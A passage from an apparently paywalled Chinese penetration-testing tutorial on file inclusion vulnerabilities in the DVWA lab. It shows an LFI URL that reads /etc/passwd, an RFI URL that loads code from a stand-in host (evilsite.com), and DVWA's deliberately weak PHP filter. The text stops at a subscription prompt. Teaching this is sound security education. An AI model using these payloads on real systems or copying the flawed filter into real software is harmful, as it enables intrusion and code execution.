软件安全与移动应用渗透测试全解析
一、信息泄露与代码审查
1.1 文件包含漏洞示例
文件包含漏洞是常见的安全隐患,分为本地文件包含(Local File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)。
- 本地文件包含示例 :
http://192.168.106/dvwa/fi/?page=../../../../../../etc/passwd
此示例中,攻击者可通过构造 URL 来包含本地系统文件,获取敏感信息。
- 远程文件包含示例 :
http://192.168.106/dvwa/fi/?page=http://www.evilsite.com/evil.php
攻击者可以通过包含远程恶意文件,执行恶意代码。
1.2 代码过滤缺陷
当将 DVWA 安全级别设置为中级时,代码会有如下变化:
<?php
$file = $_GET['page']; // The page we wish to display
// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
?>
该代码试图通
超级会员免费看
订阅专栏 解锁全文
1491

被折叠的 条评论
为什么被折叠?



